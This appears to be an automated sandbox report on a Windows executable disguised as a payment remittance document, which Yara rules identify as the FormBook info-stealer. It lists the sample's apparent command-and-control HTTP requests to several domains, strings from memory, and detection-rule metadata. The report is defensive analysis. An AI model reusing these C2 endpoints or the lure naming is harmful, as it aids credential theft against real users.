Source: Joe Sandbox View	ASN Name: GIGABIT-MYGigabitHostingSdnBhdMY GIGABIT-MYGigabitHostingSdnBhdMY

Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=Z6tv0ZGri8uWurB8AUDeWgq8Hn78EURDlDEEMIHUNMQGUG9NVGnXX5+ZYyjQXpOA0JMU&6lE=xT6Pc HTTP/1.1Host: www.yummyblockparty.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7DtpN0+eCTBT&6lE=xT6Pc HTTP/1.1Host: www.johnharrisagent.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=Lw8pQUl/qe2gQHW8JEklnfX9vlL4ErZAhlphDfsrttl8uYXfrtRE5waSCzthMEOsFHNR&6lE=xT6Pc HTTP/1.1Host: www.itsready.supportConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=0R01lDMz+xXIWoinSyO5qQyNMJHeVacFioz47MHPNe7DMd9wx+TtySfTu0uIVXra7tyR&6lE=xT6Pc HTTP/1.1Host: www.btt5204.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Joe Sandbox View

IP Address: 52.71.133.130 52.71.133.130

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.226460143.0000000002841000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213161728.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213161728.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com%$I/d
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com9
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comYou
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213196484.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comm
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.como
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.como..
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comueh
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comva
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213244678.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comy
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213196484.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comypo
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213423791.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comz
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216127582.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com-O6d
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com.TTFsO
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216064181.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216985898.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comF
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216099763.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comS
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comals
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216461639.0000000005F35000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comasF
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.219234603.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comceva
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216127582.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comcomS
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comd
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216654283.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comdAO
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216627255.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comgritaHO
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.219234603.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comgritolOyd
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216654283.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.como
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216064181.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comrsiv
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.216654283.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comttF
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217155173.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comttod
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213011209.0000000005F2D000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212822532.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213011209.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cncz
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213011209.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnly
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217666193.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217951742.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.217690168.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.krKKd
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213811208.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/-O6d
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/0O
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/;O$dh
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/HO
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213811208.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/It
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/VO
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214195042.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0nl
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/eOndo
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213925578.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/0O
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214635046.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/lOyd
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213925578.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/lOyd
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.214195042.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/t
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213811208.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/ty
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213284821.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.micro(D.df
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp, Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr2K
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212488825.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr8
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.212459989.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.krQK
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.229094156.0000000007192000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213130693.0000000005F2D000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000003.213161728.0000000005F2F000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnrsCI
Source: raserver.exe, 00000013.00000002.479062532.0000000004DE2000.00000004.00020000.sdmp	String found in binary or memory: https://www.johnharrisagent.com/uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7

Source: unknown

DNS traffic detected: queries for: www.yummyblockparty.com

Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=Z6tv0ZGri8uWurB8AUDeWgq8Hn78EURDlDEEMIHUNMQGUG9NVGnXX5+ZYyjQXpOA0JMU&6lE=xT6Pc HTTP/1.1Host: www.yummyblockparty.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=1GgOydTR9rFB1tFiaPZsKtEWQf/ik/nrf61jzTsng/4mIf33LxMFmIGp7DtpN0+eCTBT&6lE=xT6Pc HTTP/1.1Host: www.johnharrisagent.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=Lw8pQUl/qe2gQHW8JEklnfX9vlL4ErZAhlphDfsrttl8uYXfrtRE5waSCzthMEOsFHNR&6lE=xT6Pc HTTP/1.1Host: www.itsready.supportConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /uytf/?4hax=0R01lDMz+xXIWoinSyO5qQyNMJHeVacFioz47MHPNe7DMd9wx+TtySfTu0uIVXra7tyR&6lE=xT6Pc HTTP/1.1Host: www.btt5204.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, 00000001.00000002.225993143.0000000000BBB000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.477256169.00000000043F0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.226787168.0000000003841000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.473607935.0000000000700000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.255057512.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.271535377.000000000E28B000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.301308375.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample	Static PE information: Filename: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe
Source: initial sample	Static PE information: Filename: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

.NET source code contains very large strings

Show sources

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe, ConsoleGame/Form1.cs	Long String: Length: 50988
Source: 1.0.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.3c0000.0.unpack, ConsoleGame/Form1.cs	Long String: Length: 50988
Source: 1.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.3c0000.0.unpack, ConsoleGame/Form1.cs	Long String: Length: 50988
Source: 5.0.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.8a0000.0.unpack, ConsoleGame/Form1.cs	Long String: Length: 50988
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.8a0000.1.unpack, ConsoleGame/Form1.cs	Long String: Length: 50988

Source: Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.Electronic Payment Remittance Document 09.13.21 VRF 65665011119889.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.302114370.00000000012D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.474783464.0000000000AF0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.302217110.0000000001300000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
